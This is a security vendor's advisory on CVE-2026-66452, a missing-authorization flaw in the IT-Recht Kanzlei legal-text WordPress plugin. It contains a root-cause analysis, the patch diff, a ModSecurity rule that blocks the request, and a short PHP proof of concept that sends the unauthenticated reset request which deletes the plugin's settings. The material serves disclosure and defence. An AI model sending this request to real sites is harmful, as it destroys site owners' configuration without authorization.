Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66452: Legal Text Connector of the IT-Recht Kanzlei <= 1.0.13 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.0.13
Patched Version 1.0.14
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66452: The Legal Text Connector of the IT-Recht Kanzlei plugin for WordPress (versions <= 1.0.13) contains a missing authorization vulnerability in its settings reset functionality. The plugin fails to verify user capability and nonce before executing the `cleanPluginConfigs()` function, allowing unauthenticated attackers to delete all plugin configuration options. The CVSS score is 5.3 (Medium).

The root cause is in `src/Plugin.php` within the `init()` method. The original code (lines 15-24) checks if the admin page is open and if the parameter `legal-texts-connector-it-recht-kanzlei-reset` equals `true`, then calls `cleanPluginConfigs()` and redirects. No capability check (`current_user_can()`) and no nonce verification are performed. The reset parameter is predictable and the action is triggered on any admin page load (via `admin_init` or similar hook), meaning an attacker can craft a request to `/wp-admin/options-general.php?page=legal-texts-connector-it-recht-kanzlei&legal-texts-connector-it-recht-kanzlei-reset=true`. The `cleanPluginConfigs()` method (lines 190-195) executes a direct SQL `DELETE` query on the `wp_options` table, removing all rows where `option_name` matches the plugin prefix. The missing authorization allows any unauthenticated user to invoke this deletion.

Exploitation is straightforward: an attacker sends a GET request to the WordPress admin URL with the `page` parameter set to the plugin's settings page slug and the reset parameter set to `true`. No authentication or special privileges are required. The vulnerable endpoint is `/wp-admin/options-general.php?page=legal-texts-connector-it-recht-kanzlei&legal-texts-connector-it-recht-kanzlei-reset=true`. The plugin's `init()` method runs on every admin page load, so the request triggers the reset logic. Because the reset action is processed without nonce validation, CSRF is also possible, but the primary issue is unauthenticated access.

The patch (v1.0.14) addresses the vulnerability by moving the reset logic to a dedicated admin-post action handler. A new constant `PLUGIN_RESET_ACTION` is defined and a callback is registered via `add_action('admin_post_'.self::PLUGIN_RESET_ACTION, …)`. Inside the callback, `wp_verify_nonce()` is called to validate the nonce before `cleanPluginConfigs()` is executed. The settings page link is updated to use `wp_nonce_url()` (via `Plugin::getResetActionUrl()`) to include a valid nonce. Additionally, a capability check `!current_user_can('edit_pages')` is added to the early return condition for non-admin requests. This ensures that only users with the `edit_pages` capability (typically administrators) can trigger the reset. The patch effectively closes the unauthenticated access vector.

If exploited, the vulnerability allows an unauthenticated attacker to delete all plugin configuration options. This resets the plugin to its default state, disconnecting it from the IT-Recht Kanzlei service and removing any legal text settings. While this does not lead to data theft or remote code execution, it causes a denial of service for the plugin's functionality. Site owners would need to reconfigure the plugin and re-authenticate with the service, potentially disrupting legal compliance features. The impact is limited to the plugin's settings, but the ability to trigger it without authentication increases the severity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/legal-texts-connector-it-recht-kanzlei/legal-texts-connector-it-recht-kanzlei.php
+++ b/legal-texts-connector-it-recht-kanzlei/legal-texts-connector-it-recht-kanzlei.php
@@ -7,16 +7,16 @@
  * Author: IT-Recht Kanzlei
  * Author URI: https://www.it-recht-kanzlei.de/
  * Text Domain: legal-texts-connector-it-recht-kanzlei
- * Version: 1.0.13
- * Stable tag: 1.0.13
+ * Version: 1.0.14
+ * Stable tag: 1.0.14
  * Requires at least: 4.4
- * Tested up to: 6.9
+ * Tested up to: 7.0
  * Requires PHP: 7.1
  * License: GPLv3 or later
  * License URI: http://www.gnu.org/licenses/gpl-3.0.html
  */
 class LegalTextsConnector {
-    const VERSION = '1.0.13';
+    const VERSION = '1.0.14';
     const PLUGIN_NAME  = 'legal-texts-connector-it-recht-kanzlei';

     public function __construct() {
--- a/legal-texts-connector-it-recht-kanzlei/src/Document.php
+++ b/legal-texts-connector-it-recht-kanzlei/src/Document.php
@@ -3,22 +3,26 @@

 class Document
 {
-    private $title = null;
-    private $country = null;
-    private $language = null;
-    private $content = null;
-    private $type = null;
-    private $fileName = null;
-    private $creationDate = null;
-
-    public function __construct($title, $country, $language, $content, $type, $fileName, $creationDate)
-    {
+    private $title = '';
+    private $country = '';
+    private $language = '';
+    private $content = '';
+    private $contentHash = '';
+    private $type = '';
+    private $fileName = '';
+    private $pdfContent = '';
+    private $creationDate;
+
+    public function __construct(
+        $title, $country, $language, $content, $type, $fileName, $pdfContent, $creationDate
+    ) {
         $this->title = $title;
         $this->country = $country;
         $this->language = $language;
         $this->content = $content;
         $this->type = $type;
         $this->fileName = $fileName;
+        $this->pdfContent = $pdfContent;
         $this->creationDate = $creationDate;
     }

@@ -72,6 +76,18 @@
         return $this->creationDate;
     }

+    public function getContentHash(): string
+    {
+        if (empty($this->contentHash)) {
+            $content = $this->content;
+            if (($pos = strpos($content, '<div id="itkanzlei_txt_copyright')) > 0) {
+                $content = substr($content, 0, $pos);
+            }
+            $this->contentHash = hash('sha256', $content, false);
+        }
+        return $this->contentHash;
+    }
+
     public function getIdentifier(): string
     {
         return self::createIdentifier($this->type, $this->language, $this->country);
@@ -98,6 +114,16 @@
         return self::getFilePath($this->getLanguage(), $this->getCountry(), $this->getType());
     }

+    public function getPdfContent(): string
+    {
+        return $this->pdfContent;
+    }
+
+    public function hasPdf(): bool
+    {
+        return !empty($this->pdfContent);
+    }
+
     public function getShortCode(): string
     {
         return ShortCodes::createShortCode($this->getType(), $this->getLanguage(), $this->getCountry());
--- a/legal-texts-connector-it-recht-kanzlei/src/ItrkLtiHandler.php
+++ b/legal-texts-connector-it-recht-kanzlei/src/ItrkLtiHandler.php
@@ -64,6 +64,7 @@
             $data->getTextHtml(),
             $data->getType(),
             $data->getLocalizedFileName(),
+            $data->hasPdf() ? $data->getPdf() : '',
             new DateTime()
         );

--- a/legal-texts-connector-it-recht-kanzlei/src/MailAttachmentHandler.php
+++ b/legal-texts-connector-it-recht-kanzlei/src/MailAttachmentHandler.php
@@ -138,7 +138,9 @@
         try {
             $rfc = new ReflectionClass($phpmailer);
             $propAttachment = $rfc->getProperty('attachment');
-            $propAttachment->setAccessible(true);
+            if (PHP_VERSION_ID < 80100) {
+                $propAttachment->setAccessible(true);
+            }
             $propAttachment->setValue($phpmailer, $attachments);
         } catch (Exception $e) {}
     }
--- a/legal-texts-connector-it-recht-kanzlei/src/Plugin.php
+++ b/legal-texts-connector-it-recht-kanzlei/src/Plugin.php
@@ -15,20 +15,23 @@
     const BACKEND_URL = ITRK_SERVICE_URL;
     const TARGET_PAGE = '/Portal/schnittstelle_ansicht.php?iid=%d';

-    public function init() {
+    const PLUGIN_RESET_ACTION = 'itrk_lti_action_reset';
+
+    public function init(): void {
         $pluginIsOpen = is_admin()
             && isset($_GET['page']) && ($_GET['page'] === SettingsPage::PAGE_SETTINGS);

         // Reset all settings.
-        if ($pluginIsOpen
-            && isset($_GET[LegalTextsConnector::PLUGIN_NAME.'-reset']) && ($_GET[LegalTextsConnector::PLUGIN_NAME.'-reset'] === 'true')
-        ) {
-            self::cleanPluginConfigs();
-            $url = add_query_arg(['page' => SettingsPage::PAGE_SETTINGS], admin_url('options-general.php'));
-            if (wp_redirect($url)) {
+        add_action('admin_post_'.self::PLUGIN_RESET_ACTION, function () {
+            $redirectUrl = add_query_arg(['page' => SettingsPage::PAGE_SETTINGS], admin_url('options-general.php'));
+            if (!wp_verify_nonce($_GET['_wpnonce'], self::PLUGIN_RESET_ACTION)) {
+                wp_redirect($redirectUrl);
                 exit;
             }
-        }
+            self::cleanPluginConfigs();
+            wp_redirect($redirectUrl);
+            exit;
+        });

         if (self::isSetup()) {
             require_once __DIR__ . '/MailAttachmentHandler.php';
@@ -36,7 +39,7 @@
             new ShortCodes();
         }

-        if (!is_admin()) {
+        if (!is_admin() && !current_user_can('edit_pages')) {
             return;
         }

@@ -71,8 +74,7 @@
         }
     }

-    /** @return string */
-    public static function getAuthToken() {
+    public static function getAuthToken(): string {
         if (defined('ITRK_LTI_AUTH_TOKEN') && !empty(ITRK_LTI_AUTH_TOKEN) && is_string(ITRK_LTI_AUTH_TOKEN)) {
             return ITRK_LTI_AUTH_TOKEN;
         }
@@ -80,8 +82,7 @@
         return !empty($token) && is_string($token) ? $token : '';
     }

-    /** @return ?string */
-    public static function getTrinityBrand() {
+    public static function getTrinityBrand(): ?string {
         static $trinityBrand = false;
         if ($trinityBrand === false) {
             $brand = apply_filters('trinity_itrk_brand', null);
@@ -90,7 +91,7 @@
         return $trinityBrand;
     }

-    public static function getAvailableDocuments($type = null) {
+    public static function getAvailableDocuments($type = null): array {
         global $wpdb;
         if (!in_array($type, ITRechtKanzleiLegalTextSdkLTIPushData::ALLOWED_DOCUMENT_TYPES)) {
             return [];
@@ -106,7 +107,7 @@
         return $r;
     }

-    public static function getSupportedLanguages() {
+    public static function getSupportedLanguages(): array {
         return [
             'de' => __('German',     'legal-texts-connector-it-recht-kanzlei'),
             'fr' => __('French',     'legal-texts-connector-it-recht-kanzlei'),
@@ -130,7 +131,7 @@
         return $l[$iso] ?? $iso;
     }

-    public static function getSupportedCountries() {
+    public static function getSupportedCountries(): array {
         return [
             'DE' => __('Germany',        'legal-texts-connector-it-recht-kanzlei'),
             'AT' => __('Austria',        'legal-texts-connector-it-recht-kanzlei'),
@@ -175,7 +176,7 @@
         return $t[$type] ?? $type;
     }

-    public static function isSetup() {
+    public static function isSetup(): bool {
         static $isSetup = null;
         if ($isSetup === null) {
             $isSetup = ($token = self::getAuthToken())
@@ -186,7 +187,16 @@
         return $isSetup;
     }

-    public static function cleanPluginConfigs() {
+    public static function getResetActionUrl(): string {
+        //wp_nonce_url( $bare_url, 'trash-post_'.$post->ID );
+        //admin_url('options-general.php?page='.SettingsPage::PAGE_SETTINGS.'&'.LegalTextsConnector::PLUGIN_NAME.'-reset=true')
+        return wp_nonce_url(
+            admin_url('admin-post.php?action='.self::PLUGIN_RESET_ACTION),
+            self::PLUGIN_RESET_ACTION
+        );
+    }
+
+    public static function cleanPluginConfigs(): void {
         global $wpdb;
         $wpdb->query($wpdb->prepare(
             "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s",
--- a/legal-texts-connector-it-recht-kanzlei/src/SettingsPage.php
+++ b/legal-texts-connector-it-recht-kanzlei/src/SettingsPage.php
@@ -37,12 +37,12 @@

     public function addActionLinks($links) {
         $links[] =
-            '<a href="' . admin_url('options-general.php?page='.self::PAGE_SETTINGS) . '">' . esc_html(__(
+            '<a href="' . esc_attr(admin_url('options-general.php?page='.self::PAGE_SETTINGS)) . '">' . esc_html(__(
                 'Settings',
                 'legal-texts-connector-it-recht-kanzlei'
             )) . '</a>';
         $links[] =
-            '<a href="' . admin_url('options-general.php?page='.self::PAGE_SETTINGS.'&'.LegalTextsConnector::PLUGIN_NAME.'-reset=true') . '" style="color:#900">' . esc_html(__(
+            '<a href="' . esc_attr(Plugin::getResetActionUrl()) . '" style="color:#900">' . esc_html(__(
                 'Reset Settings',
                 'legal-texts-connector-it-recht-kanzlei'
             )) . '</a>';
--- a/legal-texts-connector-it-recht-kanzlei/uninstall.php
+++ b/legal-texts-connector-it-recht-kanzlei/uninstall.php
@@ -6,7 +6,5 @@
     die();
 }

-if (!class_exists('ITRechtKanzleiLegalTextsConnectorPlugin')) {
-    require_once __DIR__ . '/src/Plugin.php';
-}
+require_once __DIR__ . '/src/Plugin.php';
 ITRechtKanzleiLegalTextPluginWordpressPlugin::cleanPluginConfigs();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/options-general.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66452 via Legal Text Connector reset parameter',severity:'CRITICAL',tag:'CVE-2026-66452'"
  SecRule ARGS_GET:page "@streq legal-texts-connector-it-recht-kanzlei" "chain"
    SecRule ARGS_GET:legal-texts-connector-it-recht-kanzlei-reset "@streq true" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66452 - Legal Text Connector of the IT-Recht Kanzlei <= 1.0.13 - Missing Authorization

$target_url = 'http://example.com'; // Configure target WordPress site

// The vulnerable endpoint: admin page with reset parameter
$reset_url = $target_url . '/wp-admin/options-general.php?page=legal-texts-connector-it-recht-kanzlei&legal-texts-connector-it-recht-kanzlei-reset=true';

echo "Sending unauthenticated reset request to: $reset_urln";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reset_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo "Request failed.n";
} else {
    echo "HTTP Status: $http_coden";
    if ($http_code == 302 || $http_code == 200) {
        echo "Request sent. The plugin settings may have been reset if the vulnerability is present.n";
        echo "Check the target site to verify if options were deleted.n";
    } else {
        echo "Unexpected response. The site may be patched or the plugin not active.n";
    }
}

// Note: This PoC assumes the plugin is active and the reset parameter triggers the deletion.
// In a real attack, the attacker would simply visit the URL in a browser.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.